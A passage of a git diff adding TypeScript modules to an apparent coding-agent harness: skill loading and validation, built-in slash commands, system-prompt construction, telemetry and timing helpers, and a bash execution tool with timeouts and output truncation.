${MAX_NAME_LENGTH} characters (${name.length})`); + } + + if (!/^[a-z0-9-]+$/.test(name)) { + errors.push(`name contains invalid characters (must be lowercase a-z, 0-9, hyphens only)`); + } + + if (name.startsWith("-") || name.endsWith("-")) { + errors.push(`name must not start or end with a hyphen`); + } + + if (name.includes("--")) { + errors.push(`name must not contain consecutive hyphens`); + } + + return errors; +} + +/** + * Validate description per Agent Skills spec. + */ +function validateDescription(description: string | undefined): string[] { + const errors: string[] = []; + + if (!description || description.trim() === "") { + errors.push("description is required"); + } else if (description.length > MAX_DESCRIPTION_LENGTH) { + errors.push(`description exceeds ${MAX_DESCRIPTION_LENGTH} characters (${description.length})`); + } + + return errors; +} + +export interface LoadSkillsFromDirOptions { + /** Directory to scan for skills */ + dir: string; + /** Source identifier for these skills */ + source: string; +} + +function createSkillSourceInfo(filePath: string, baseDir: string, source: string): SourceInfo { + switch (source) { + case "user": + return createSyntheticSourceInfo(filePath, { + source: "local", + scope: "user", + baseDir, + }); + case "project": + return createSyntheticSourceInfo(filePath, { + source: "local", + scope: "project", + baseDir, + }); + case "path": + return createSyntheticSourceInfo(filePath, { + source: "local", + baseDir, + }); + default: + return createSyntheticSourceInfo(filePath, { source, baseDir }); + } +} + +/** + * Load skills from a directory. + * + * Discovery rules: + * - if a directory contains SKILL.md, treat it as a skill root and do not recurse further + * - otherwise, load direct .md children in the root + * - recurse into subdirectories to find SKILL.md + */ +export function loadSkillsFromDir(options: LoadSkillsFromDirOptions): LoadSkillsResult { + const { dir, source } = options; + return loadSkillsFromDirInternal(dir, source, true); +} + +function loadSkillsFromDirInternal( + dir: string, + source: string, + includeRootFiles: boolean, + ignoreMatcher?: IgnoreMatcher, + rootDir?: string, +): LoadSkillsResult { + const skills: Skill[] = []; + const diagnostics: ResourceDiagnostic[] = []; + + if (!existsSync(dir)) { + return { skills, diagnostics }; + } + + const root = rootDir ?? dir; + const ig = ignoreMatcher ?? ignore(); + addIgnoreRules(ig, dir, root); + + try { + const entries = readdirSync(dir, { withFileTypes: true }); + + for (const entry of entries) { + if (entry.name !== "SKILL.md") { + continue; + } + + const fullPath = join(dir, entry.name); + + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + isFile = statSync(fullPath).isFile(); + } catch { + continue; + } + } + + const relPath = toPosixPath(relative(root, fullPath)); + if (!isFile || ig.ignores(relPath)) { + continue; + } + + const result = loadSkillFromFile(fullPath, source); + if (result.skill) { + skills.push(result.skill); + } + diagnostics.push(...result.diagnostics); + return { skills, diagnostics }; + } + + for (const entry of entries) { + if (entry.name.startsWith(".")) { + continue; + } + + // Skip node_modules to avoid scanning dependencies + if (entry.name === "node_modules") { + continue; + } + + const fullPath = join(dir, entry.name); + + // For symlinks, check if they point to a directory and follow them + let isDirectory = entry.isDirectory(); + let isFile = entry.isFile(); + if (entry.isSymbolicLink()) { + try { + const stats = statSync(fullPath); + isDirectory = stats.isDirectory(); + isFile = stats.isFile(); + } catch { + // Broken symlink, skip it + continue; + } + } + + const relPath = toPosixPath(relative(root, fullPath)); + const ignorePath = isDirectory ? `${relPath}/` : relPath; + if (ig.ignores(ignorePath)) { + continue; + } + + if (isDirectory) { + const subResult = loadSkillsFromDirInternal(fullPath, source, false, ig, root); + skills.push(...subResult.skills); + diagnostics.push(...subResult.diagnostics); + continue; + } + + if (!isFile || !includeRootFiles || !entry.name.endsWith(".md")) { + continue; + } + + const result = loadSkillFromFile(fullPath, source); + if (result.skill) { + skills.push(result.skill); + } + diagnostics.push(...result.diagnostics); + } + } catch {} + + return { skills, diagnostics }; +} + +function loadSkillFromFile( + filePath: string, + source: string, +): { skill: Skill | null; diagnostics: ResourceDiagnostic[] } { + const diagnostics: ResourceDiagnostic[] = []; + + try { + const rawContent = readFileSync(filePath, "utf-8"); + const { frontmatter } = parseFrontmatter(rawContent); + const skillDir = dirname(filePath); + const parentDirName = basename(skillDir); + + // Validate description + const descErrors = validateDescription(frontmatter.description); + for (const error of descErrors) { + diagnostics.push({ type: "warning", message: error, path: filePath }); + } + + // Use name from frontmatter, or fall back to parent directory name + const name = frontmatter.name || parentDirName; + + // Validate name + const nameErrors = validateName(name); + for (const error of nameErrors) { + diagnostics.push({ type: "warning", message: error, path: filePath }); + } + + // Still load the skill even with warnings (unless description is completely missing) + if (!frontmatter.description || frontmatter.description.trim() === "") { + return { skill: null, diagnostics }; + } + + return { + skill: { + name, + description: frontmatter.description, + filePath, + baseDir: skillDir, + source, + sourceInfo: createSkillSourceInfo(filePath, skillDir, source), + disableModelInvocation: frontmatter["disable-model-invocation"] === true, + }, + diagnostics, + }; + } catch (error) { + const message = error instanceof Error ? error.message : "failed to parse skill file"; + diagnostics.push({ type: "warning", message, path: filePath }); + return { skill: null, diagnostics }; + } +} + +/** + * Format skills for inclusion in a system prompt. + * Uses XML format per Agent Skills standard. + * See: https://agentskills.io/integrate-skills + * + * Skills with disableModelInvocation=true are excluded from the prompt + * (they can only be invoked explicitly via /skill:name commands). + */ +export function formatSkillsForPrompt(skills: Skill[]): string { + const visibleSkills = skills.filter((s) => !s.disableModelInvocation); + + if (visibleSkills.length === 0) { + return ""; + } + + const lines = [ + "\n\nThe following skills provide specialized instructions for specific tasks.", + "Use the read tool to load a skill's file when the task matches its description.", + "When a skill file references a relative path, resolve it against the skill directory (parent of SKILL.md / dirname of the path) and use that absolute path in tool commands.", + "", + "", + ]; + + for (const skill of visibleSkills) { + lines.push(" "); + lines.push(` ${escapeXml(skill.name)}`); + lines.push(` ${escapeXml(skill.description)}`); + lines.push(` ${escapeXml(skill.filePath)}`); + lines.push(" "); + } + + lines.push(""); + + return lines.join("\n"); +} + +function escapeXml(str: string): string { + return str + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} + +export interface LoadSkillsOptions { + /** Working directory for project-local skills. */ + cwd: string; + /** Agent config directory for global skills. */ + agentDir: string; + /** Explicit skill paths (files or directories) */ + skillPaths: string[]; + /** Include default skills directories. */ + includeDefaults: boolean; +} + +function normalizePath(input: string): string { + const trimmed = input.trim(); + if (trimmed === "~") { + return homedir(); + } + if (trimmed.startsWith("~/")) { + return join(homedir(), trimmed.slice(2)); + } + if (trimmed.startsWith("~")) { + return join(homedir(), trimmed.slice(1)); + } + return trimmed; +} + +function resolveSkillPath(p: string, cwd: string): string { + const normalized = normalizePath(p); + return isAbsolute(normalized) ? normalized : resolve(cwd, normalized); +} + +/** + * Load skills from all configured locations. + * Returns skills and any validation diagnostics. + */ +export function loadSkills(options: LoadSkillsOptions): LoadSkillsResult { + const { cwd, agentDir, skillPaths, includeDefaults } = options; + + // Resolve agentDir - if not provided, use default from config + const resolvedAgentDir = agentDir ?? getAgentDir(); + + const skillMap = new Map(); + const realPathSet = new Set(); + const allDiagnostics: ResourceDiagnostic[] = []; + const collisionDiagnostics: ResourceDiagnostic[] = []; + + function addSkills(result: LoadSkillsResult) { + allDiagnostics.push(...result.diagnostics); + for (const skill of result.skills) { + // Resolve symlinks to detect duplicate files + const realPath = canonicalizePath(skill.filePath); + + // Skip silently if we've already loaded this exact file (via symlink) + if (realPathSet.has(realPath)) { + continue; + } + + const existing = skillMap.get(skill.name); + if (existing) { + collisionDiagnostics.push({ + type: "collision", + message: `name "${skill.name}" collision`, + path: skill.filePath, + collision: { + resourceType: "skill", + name: skill.name, + winnerPath: existing.filePath, + loserPath: skill.filePath, + }, + }); + } else { + skillMap.set(skill.name, skill); + realPathSet.add(realPath); + } + } + } + + if (includeDefaults) { + addSkills(loadSkillsFromDirInternal(join(resolvedAgentDir, "skills"), "user", true)); + addSkills(loadSkillsFromDirInternal(resolve(cwd, CONFIG_DIR_NAME, "skills"), "project", true)); + } + + const userSkillsDir = join(resolvedAgentDir, "skills"); + const projectSkillsDir = resolve(cwd, CONFIG_DIR_NAME, "skills"); + + const isUnderPath = (target: string, root: string): boolean => { + const normalizedRoot = resolve(root); + if (target === normalizedRoot) { + return true; + } + const prefix = normalizedRoot.endsWith(sep) ? normalizedRoot : `${normalizedRoot}${sep}`; + return target.startsWith(prefix); + }; + + const getSource = (resolvedPath: string): "user" | "project" | "path" => { + if (!includeDefaults) { + if (isUnderPath(resolvedPath, userSkillsDir)) { + return "user"; + } + if (isUnderPath(resolvedPath, projectSkillsDir)) { + return "project"; + } + } + return "path"; + }; + + for (const rawPath of skillPaths) { + const resolvedPath = resolveSkillPath(rawPath, cwd); + if (!existsSync(resolvedPath)) { + allDiagnostics.push({ + type: "warning", + message: "skill path does not exist", + path: resolvedPath, + }); + continue; + } + + try { + const stats = statSync(resolvedPath); + const source = getSource(resolvedPath); + if (stats.isDirectory()) { + addSkills(loadSkillsFromDirInternal(resolvedPath, source, true)); + } else if (stats.isFile() && resolvedPath.endsWith(".md")) { + const result = loadSkillFromFile(resolvedPath, source); + if (result.skill) { + addSkills({ skills: [result.skill], diagnostics: result.diagnostics }); + } else { + allDiagnostics.push(...result.diagnostics); + } + } else { + allDiagnostics.push({ + type: "warning", + message: "skill path is not a markdown file", + path: resolvedPath, + }); + } + } catch (error) { + const message = error instanceof Error ? error.message : "failed to read skill path"; + allDiagnostics.push({ type: "warning", message, path: resolvedPath }); + } + } + + return { + skills: Array.from(skillMap.values()), + diagnostics: [...allDiagnostics, ...collisionDiagnostics], + }; +} diff --git a/src/agents/sessions/slash-commands.ts b/src/agents/sessions/slash-commands.ts new file mode 100644 index 00000000000..4fc450bee30 --- /dev/null +++ b/src/agents/sessions/slash-commands.ts @@ -0,0 +1,40 @@ +import { APP_NAME } from "../config.js"; +import type { SourceInfo } from "./source-info.js"; + +export type SlashCommandSource = "extension" | "prompt" | "skill"; + +export interface SlashCommandInfo { + name: string; + description?: string; + source: SlashCommandSource; + sourceInfo: SourceInfo; +} + +export interface BuiltinSlashCommand { + name: string; + description: string; +} + +export const BUILTIN_SLASH_COMMANDS: ReadonlyArray = [ + { name: "settings", description: "Open settings menu" }, + { name: "model", description: "Select model (opens selector UI)" }, + { name: "scoped-models", description: "Enable/disable models for Ctrl+P cycling" }, + { name: "export", description: "Export session (HTML default, or specify path: .html/.jsonl)" }, + { name: "import", description: "Import and resume a session from a JSONL file" }, + { name: "share", description: "Share session as a secret GitHub gist" }, + { name: "copy", description: "Copy last agent message to clipboard" }, + { name: "name", description: "Set session display name" }, + { name: "session", description: "Show session info and stats" }, + { name: "changelog", description: "Show changelog entries" }, + { name: "hotkeys", description: "Show all keyboard shortcuts" }, + { name: "fork", description: "Create a new fork from a previous user message" }, + { name: "clone", description: "Duplicate the current session at the current position" }, + { name: "tree", description: "Navigate session tree (switch branches)" }, + { name: "login", description: "Configure provider authentication" }, + { name: "logout", description: "Remove provider authentication" }, + { name: "new", description: "Start a new session" }, + { name: "compact", description: "Manually compact the session context" }, + { name: "resume", description: "Resume a different session" }, + { name: "reload", description: "Reload keybindings, extensions, skills, prompts, and themes" }, + { name: "quit", description: `Quit ${APP_NAME}` }, +]; diff --git a/src/agents/sessions/source-info.ts b/src/agents/sessions/source-info.ts new file mode 100644 index 00000000000..3f0a310abef --- /dev/null +++ b/src/agents/sessions/source-info.ts @@ -0,0 +1,40 @@ +import type { PathMetadata } from "./package-manager.js"; + +export type SourceScope = "user" | "project" | "temporary"; +export type SourceOrigin = "package" | "top-level"; + +export interface SourceInfo { + path: string; + source: string; + scope: SourceScope; + origin: SourceOrigin; + baseDir?: string; +} + +export function createSourceInfo(path: string, metadata: PathMetadata): SourceInfo { + return { + path, + source: metadata.source, + scope: metadata.scope, + origin: metadata.origin, + baseDir: metadata.baseDir, + }; +} + +export function createSyntheticSourceInfo( + path: string, + options: { + source: string; + scope?: SourceScope; + origin?: SourceOrigin; + baseDir?: string; + }, +): SourceInfo { + return { + path, + source: options.source, + scope: options.scope ?? "temporary", + origin: options.origin ?? "top-level", + baseDir: options.baseDir, + }; +} diff --git a/src/agents/sessions/system-prompt.ts b/src/agents/sessions/system-prompt.ts new file mode 100644 index 00000000000..af681c1b218 --- /dev/null +++ b/src/agents/sessions/system-prompt.ts @@ -0,0 +1,179 @@ +/** + * System prompt construction and project context loading + */ + +import { getDocsPath, getExamplesPath, getReadmePath } from "../config.js"; +import { formatSkillsForPrompt, type Skill } from "./skills.js"; + +export interface BuildSystemPromptOptions { + /** Custom system prompt (replaces default). */ + customPrompt?: string; + /** Tools to include in prompt. Default: [read, bash, edit, write] */ + selectedTools?: string[]; + /** Optional one-line tool snippets keyed by tool name. */ + toolSnippets?: Record; + /** Additional guideline bullets appended to the default system prompt guidelines. */ + promptGuidelines?: string[]; + /** Text to append to system prompt. */ + appendSystemPrompt?: string; + /** Working directory. */ + cwd: string; + /** Pre-loaded context files. */ + contextFiles?: Array<{ path: string; content: string }>; + /** Pre-loaded skills. */ + skills?: Skill[]; +} + +/** Build the system prompt with tools, guidelines, and context */ +export function buildSystemPrompt(options: BuildSystemPromptOptions): string { + const { + customPrompt, + selectedTools, + toolSnippets, + promptGuidelines, + appendSystemPrompt, + cwd, + contextFiles: providedContextFiles, + skills: providedSkills, + } = options; + const resolvedCwd = cwd; + const promptCwd = resolvedCwd.replace(/\\/g, "/"); + + const now = new Date(); + const year = now.getFullYear(); + const month = String(now.getMonth() + 1).padStart(2, "0"); + const day = String(now.getDate()).padStart(2, "0"); + const date = `${year}-${month}-${day}`; + + const appendSection = appendSystemPrompt ? `\n\n${appendSystemPrompt}` : ""; + + const contextFiles = providedContextFiles ?? []; + const skills = providedSkills ?? []; + + if (customPrompt) { + let prompt = customPrompt; + + if (appendSection) { + prompt += appendSection; + } + + // Append project context files + if (contextFiles.length > 0) { + prompt += "\n\n\n\n"; + prompt += "Project-specific instructions and guidelines:\n\n"; + for (const { path: filePath, content } of contextFiles) { + prompt += `\n${content}\n\n\n`; + } + prompt += "\n"; + } + + // Append skills section (only if read tool is available) + const customPromptHasRead = !selectedTools || selectedTools.includes("read"); + if (customPromptHasRead && skills.length > 0) { + prompt += formatSkillsForPrompt(skills); + } + + // Add date and working directory last + prompt += `\nCurrent date: ${date}`; + prompt += `\nCurrent working directory: ${promptCwd}`; + + return prompt; + } + + // Get absolute paths to documentation and examples + const readmePath = getReadmePath(); + const docsPath = getDocsPath(); + const examplesPath = getExamplesPath(); + + // Build tools list based on selected tools. + // A tool appears in Available tools only when the caller provides a one-line snippet. + const tools = selectedTools || ["read", "bash", "edit", "write"]; + const visibleTools = tools.filter((name) => !!toolSnippets?.[name]); + const toolsList = + visibleTools.length > 0 + ? visibleTools.map((name) => `- ${name}: ${toolSnippets![name]}`).join("\n") + : "(none)"; + + // Build guidelines based on which tools are actually available + const guidelinesList: string[] = []; + const guidelinesSet = new Set(); + const addGuideline = (guideline: string): void => { + if (guidelinesSet.has(guideline)) { + return; + } + guidelinesSet.add(guideline); + guidelinesList.push(guideline); + }; + + const hasBash = tools.includes("bash"); + const hasGrep = tools.includes("grep"); + const hasFind = tools.includes("find"); + const hasLs = tools.includes("ls"); + const hasRead = tools.includes("read"); + + // File exploration guidelines + if (hasBash && !hasGrep && !hasFind && !hasLs) { + addGuideline("Use bash for file operations like ls, rg, find"); + } else if (hasBash && (hasGrep || hasFind || hasLs)) { + addGuideline( + "Prefer grep/find/ls tools over bash for file exploration (faster, respects .gitignore)", + ); + } + + for (const guideline of promptGuidelines ?? []) { + const normalized = guideline.trim(); + if (normalized.length > 0) { + addGuideline(normalized); + } + } + + // Always include these + addGuideline("Be concise in your responses"); + addGuideline("Show file paths clearly when working with files"); + + const guidelines = guidelinesList.map((g) => `- ${g}`).join("\n"); + + let prompt = `You are an expert coding assistant operating inside OpenClaw's embedded coding agent harness. You help users by reading files, executing commands, editing code, and writing new files. + +Available tools: +${toolsList} + +In addition to the tools above, you may have access to other custom tools depending on the project. + +Guidelines: +${guidelines} + +Embedded agent documentation (read only when the user asks about the embedded agent SDK, extensions, themes, skills, or TUI): +- Main documentation: ${readmePath} +- Additional docs: ${docsPath} +- Examples: ${examplesPath} (extensions, custom tools, SDK) +- When reading embedded agent docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory +- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), runtime packages (docs/packages.md) +- When working on embedded agent topics, read the docs and examples, and follow .md cross-references before implementing +- Always read embedded agent .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`; + + if (appendSection) { + prompt += appendSection; + } + + // Append project context files + if (contextFiles.length > 0) { + prompt += "\n\n\n\n"; + prompt += "Project-specific instructions and guidelines:\n\n"; + for (const { path: filePath, content } of contextFiles) { + prompt += `\n${content}\n\n\n`; + } + prompt += "\n"; + } + + // Append skills section (only if read tool is available) + if (hasRead && skills.length > 0) { + prompt += formatSkillsForPrompt(skills); + } + + // Add date and working directory last + prompt += `\nCurrent date: ${date}`; + prompt += `\nCurrent working directory: ${promptCwd}`; + + return prompt; +} diff --git a/src/agents/sessions/telemetry.ts b/src/agents/sessions/telemetry.ts new file mode 100644 index 00000000000..b6c6e3bdab1 --- /dev/null +++ b/src/agents/sessions/telemetry.ts @@ -0,0 +1,17 @@ +import type { SettingsManager } from "./settings-manager.js"; + +function isTruthyEnvFlag(value: string | undefined): boolean { + if (!value) { + return false; + } + return value === "1" || value.toLowerCase() === "true" || value.toLowerCase() === "yes"; +} + +export function isInstallTelemetryEnabled( + settingsManager: SettingsManager, + telemetryEnv: string | undefined = process.env.OPENCLAW_TELEMETRY, +): boolean { + return telemetryEnv !== undefined + ? isTruthyEnvFlag(telemetryEnv) + : settingsManager.getEnableInstallTelemetry(); +} diff --git a/src/agents/sessions/timings.ts b/src/agents/sessions/timings.ts new file mode 100644 index 00000000000..8696616a3fa --- /dev/null +++ b/src/agents/sessions/timings.ts @@ -0,0 +1,37 @@ +/** + * Central timing instrumentation for startup profiling. + * Enable with OPENCLAW_TIMING=1 environment variable. + */ + +const ENABLED = process.env.OPENCLAW_TIMING === "1"; +const timings: Array<{ label: string; ms: number }> = []; +let lastTime = Date.now(); + +export function resetTimings(): void { + if (!ENABLED) { + return; + } + timings.length = 0; + lastTime = Date.now(); +} + +export function time(label: string): void { + if (!ENABLED) { + return; + } + const now = Date.now(); + timings.push({ label, ms: now - lastTime }); + lastTime = now; +} + +export function printTimings(): void { + if (!ENABLED || timings.length === 0) { + return; + } + console.error("\n--- Startup Timings ---"); + for (const t of timings) { + console.error(` ${t.label}: ${t.ms}ms`); + } + console.error(` TOTAL: ${timings.reduce((a, b) => a + b.ms, 0)}ms`); + console.error("------------------------\n"); +} diff --git a/src/agents/sessions/tools/bash-operations.ts b/src/agents/sessions/tools/bash-operations.ts new file mode 100644 index 00000000000..120785f32bb --- /dev/null +++ b/src/agents/sessions/tools/bash-operations.ts @@ -0,0 +1,12 @@ +export interface BashOperations { + exec: ( + command: string, + cwd: string, + options: { + onData: (data: Buffer) => void; + signal?: AbortSignal; + timeout?: number; + env?: NodeJS.ProcessEnv; + }, + ) => Promise<{ exitCode: number | null }>; +} diff --git a/src/agents/sessions/tools/bash.ts b/src/agents/sessions/tools/bash.ts new file mode 100644 index 00000000000..450d6fd9aee --- /dev/null +++ b/src/agents/sessions/tools/bash.ts @@ -0,0 +1,473 @@ +import { spawn } from "node:child_process"; +import { existsSync } from "node:fs"; +import { Container, Text, truncateToWidth } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { keyHint } from "../../modes/interactive/components/keybinding-hints.js"; +import { truncateToVisualLines } from "../../modes/interactive/components/visual-truncate.js"; +import { theme } from "../../modes/interactive/theme/theme.js"; +import type { AgentTool } from "../../runtime/index.js"; +import { waitForChildProcess } from "../../utils/child-process.js"; +import { + getShellConfig, + getShellEnv, + killProcessTree, + trackDetachedChildPid, + untrackDetachedChildPid, +} from "../../utils/shell.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import type { BashOperations } from "./bash-operations.js"; +import { OutputAccumulator } from "./output-accumulator.js"; +import { getTextOutput, invalidArgText, str } from "./render-utils.js"; +import type { BashToolDetails } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; +import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize } from "./truncate.js"; + +const bashSchema = Type.Object({ + command: Type.String({ description: "Bash command to execute" }), + timeout: Type.Optional( + Type.Number({ description: "Timeout in seconds (optional, no default timeout)" }), + ), +}); +export type { BashToolDetails, BashToolInput } from "./tool-contracts.js"; + +export type { BashOperations } from "./bash-operations.js"; + +/** + * Create bash operations using OpenClaw runtime's built-in local shell execution backend. + * + * This is useful for extensions that intercept user_bash and still want OpenClaw runtime's + * standard local shell behavior while wrapping or rewriting commands. + */ +export function createLocalBashOperations(options?: { shellPath?: string }): BashOperations { + return { + exec: (command, cwd, { onData, signal, timeout, env }) => { + return new Promise((resolve, reject) => { + const { shell, args } = getShellConfig(options?.shellPath); + if (!existsSync(cwd)) { + reject( + new Error(`Working directory does not exist: ${cwd}\nCannot execute bash commands.`), + ); + return; + } + const child = spawn(shell, [...args, command], { + cwd, + detached: process.platform !== "win32", + env: env ?? getShellEnv(), + stdio: ["ignore", "pipe", "pipe"], + windowsHide: true, + }); + if (child.pid) { + trackDetachedChildPid(child.pid); + } + let timedOut = false; + let timeoutHandle: NodeJS.Timeout | undefined; + // Set timeout if provided. + if (timeout !== undefined && timeout > 0) { + timeoutHandle = setTimeout(() => { + timedOut = true; + if (child.pid) { + killProcessTree(child.pid); + } + }, timeout * 1000); + } + // Stream stdout and stderr. + child.stdout?.on("data", onData); + child.stderr?.on("data", onData); + // Handle abort signal by killing the entire process tree. + const onAbort = () => { + if (child.pid) { + killProcessTree(child.pid); + } + }; + if (signal) { + if (signal.aborted) { + onAbort(); + } else { + signal.addEventListener("abort", onAbort, { once: true }); + } + } + // Handle shell spawn errors and wait for the process to terminate without hanging + // on inherited stdio handles held by detached descendants. + waitForChildProcess(child) + .then((code) => { + if (child.pid) { + untrackDetachedChildPid(child.pid); + } + if (timeoutHandle) { + clearTimeout(timeoutHandle); + } + if (signal) { + signal.removeEventListener("abort", onAbort); + } + if (signal?.aborted) { + reject(new Error("aborted")); + return; + } + if (timedOut) { + reject(new Error(`timeout:${timeout}`)); + return; + } + resolve({ exitCode: code }); + }) + .catch((err) => { + if (child.pid) { + untrackDetachedChildPid(child.pid); + } + if (timeoutHandle) { + clearTimeout(timeoutHandle); + } + if (signal) { + signal.removeEventListener("abort", onAbort); + } + reject(err); + }); + }); + }, + }; +} + +export interface BashSpawnContext { + command: string; + cwd: string; + env: NodeJS.ProcessEnv; +} + +export type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext; + +function resolveSpawnContext( + command: string, + cwd: string, + spawnHook?: BashSpawnHook, +): BashSpawnContext { + const baseContext: BashSpawnContext = { command, cwd, env: { ...getShellEnv() } }; + return spawnHook ? spawnHook(baseContext) : baseContext; +} + +export interface BashToolOptions { + /** Custom operations for command execution. Default: local shell */ + operations?: BashOperations; + /** Command prefix prepended to every command (for example shell setup commands) */ + commandPrefix?: string; + /** Optional explicit shell path from settings */ + shellPath?: string; + /** Hook to adjust command, cwd, or env before execution */ + spawnHook?: BashSpawnHook; +} + +const BASH_PREVIEW_LINES = 5; +const BASH_UPDATE_THROTTLE_MS = 100; + +type BashRenderState = { + startedAt: number | undefined; + endedAt: number | undefined; + interval: NodeJS.Timeout | undefined; +}; + +type BashResultRenderState = { + cachedWidth: number | undefined; + cachedLines: string[] | undefined; + cachedSkipped: number | undefined; +}; + +class BashResultRenderComponent extends Container { + state: BashResultRenderState = { + cachedWidth: undefined, + cachedLines: undefined, + cachedSkipped: undefined, + }; +} + +function formatDuration(ms: number): string { + return `${(ms / 1000).toFixed(1)}s`; +} + +function formatBashCall(args: { command?: string; timeout?: number } | undefined): string { + const command = str(args?.command); + const timeout = args?.timeout; + const timeoutSuffix = timeout ? theme.fg("muted", ` (timeout ${timeout}s)`) : ""; + const commandDisplay = + command === null ? invalidArgText(theme) : command ? command : theme.fg("toolOutput", "..."); + return theme.fg("toolTitle", theme.bold(`$ ${commandDisplay}`)) + timeoutSuffix; +} + +function rebuildBashResultRenderComponent( + component: BashResultRenderComponent, + result: { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + details?: BashToolDetails; + }, + options: ToolRenderResultOptions, + showImages: boolean, + startedAt: number | undefined, + endedAt: number | undefined, +): void { + const state = component.state; + component.clear(); + + let output = getTextOutput(result, showImages).trim(); + const truncation = result.details?.truncation; + const fullOutputPath = result.details?.fullOutputPath; + if (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith("]")) { + const footerStart = output.lastIndexOf("\n\n["); + if (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) { + output = output.slice(0, footerStart).trimEnd(); + } + } + + if (output) { + const styledOutput = output + .split("\n") + .map((line) => theme.fg("toolOutput", line)) + .join("\n"); + + if (options.expanded) { + component.addChild(new Text(`\n${styledOutput}`, 0, 0)); + } else { + component.addChild({ + render: (width: number) => { + if (state.cachedLines === undefined || state.cachedWidth !== width) { + const preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width); + state.cachedLines = preview.visualLines; + state.cachedSkipped = preview.skippedCount; + state.cachedWidth = width; + } + if (state.cachedSkipped && state.cachedSkipped > 0) { + const hint = + theme.fg("muted", `... (${state.cachedSkipped} earlier lines,`) + + ` ${keyHint("app.tools.expand", "to expand")})`; + return ["", truncateToWidth(hint, width, "..."), ...(state.cachedLines ?? [])]; + } + return ["", ...(state.cachedLines ?? [])]; + }, + invalidate: () => { + state.cachedWidth = undefined; + state.cachedLines = undefined; + state.cachedSkipped = undefined; + }, + }); + } + } + + if (truncation?.truncated || fullOutputPath) { + const warnings: string[] = []; + if (fullOutputPath) { + warnings.push(`Full output: ${fullOutputPath}`); + } + if (truncation?.truncated) { + if (truncation.truncatedBy === "lines") { + warnings.push( + `Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`, + ); + } else { + warnings.push( + `Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`, + ); + } + } + component.addChild(new Text(`\n${theme.fg("warning", `[${warnings.join(". ")}]`)}`, 0, 0)); + } + + if (startedAt !== undefined) { + const label = options.isPartial ? "Elapsed" : "Took"; + const endTime = endedAt ?? Date.now(); + component.addChild( + new Text(`\n${theme.fg("muted", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0), + ); + } +} + +export function createBashToolDefinition( + cwd: string, + options?: BashToolOptions, +): ToolDefinition { + const ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath }); + const commandPrefix = options?.commandPrefix; + const spawnHook = options?.spawnHook; + return { + name: "bash", + label: "bash", + description: `Execute a bash command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`, + promptSnippet: "Execute bash commands (ls, grep, find, etc.)", + parameters: bashSchema, + async execute( + toolCallId, + { command, timeout }: { command: string; timeout?: number }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void ctx; + const resolvedCommand = commandPrefix ? `${commandPrefix}\n${command}` : command; + const spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook); + const output = new OutputAccumulator({ tempFilePrefix: "openclaw-bash" }); + let updateTimer: NodeJS.Timeout | undefined; + let updateDirty = false; + let lastUpdateAt = 0; + + const emitOutputUpdate = () => { + if (!onUpdate || !updateDirty) { + return; + } + updateDirty = false; + lastUpdateAt = Date.now(); + const snapshot = output.snapshot({ persistIfTruncated: true }); + onUpdate({ + content: [{ type: "text", text: snapshot.content || "" }], + details: { + truncation: snapshot.truncation.truncated ? snapshot.truncation : undefined, + fullOutputPath: snapshot.fullOutputPath, + }, + }); + }; + + const clearUpdateTimer = () => { + if (updateTimer) { + clearTimeout(updateTimer); + updateTimer = undefined; + } + }; + + const scheduleOutputUpdate = () => { + if (!onUpdate) { + return; + } + updateDirty = true; + const delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt); + if (delay <= 0) { + clearUpdateTimer(); + emitOutputUpdate(); + return; + } + updateTimer ??= setTimeout(() => { + updateTimer = undefined; + emitOutputUpdate(); + }, delay); + }; + + if (onUpdate) { + onUpdate({ content: [], details: undefined }); + } + + const handleData = (data: Buffer) => { + output.append(data); + scheduleOutputUpdate(); + }; + + const finishOutput = async () => { + output.finish(); + clearUpdateTimer(); + emitOutputUpdate(); + const snapshot = output.snapshot({ persistIfTruncated: true }); + await output.closeTempFile(); + return snapshot; + }; + + const formatOutput = ( + snapshot: Awaited>, + emptyText = "(no output)", + ) => { + const truncation = snapshot.truncation; + let text = snapshot.content || emptyText; + let details: BashToolDetails | undefined; + if (truncation.truncated) { + details = { truncation, fullOutputPath: snapshot.fullOutputPath }; + const startLine = truncation.totalLines - truncation.outputLines + 1; + const endLine = truncation.totalLines; + if (truncation.lastLinePartial) { + const lastLineSize = formatSize(output.getLastLineBytes()); + text += `\n\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`; + } else if (truncation.truncatedBy === "lines") { + text += `\n\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`; + } else { + text += `\n\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`; + } + } + 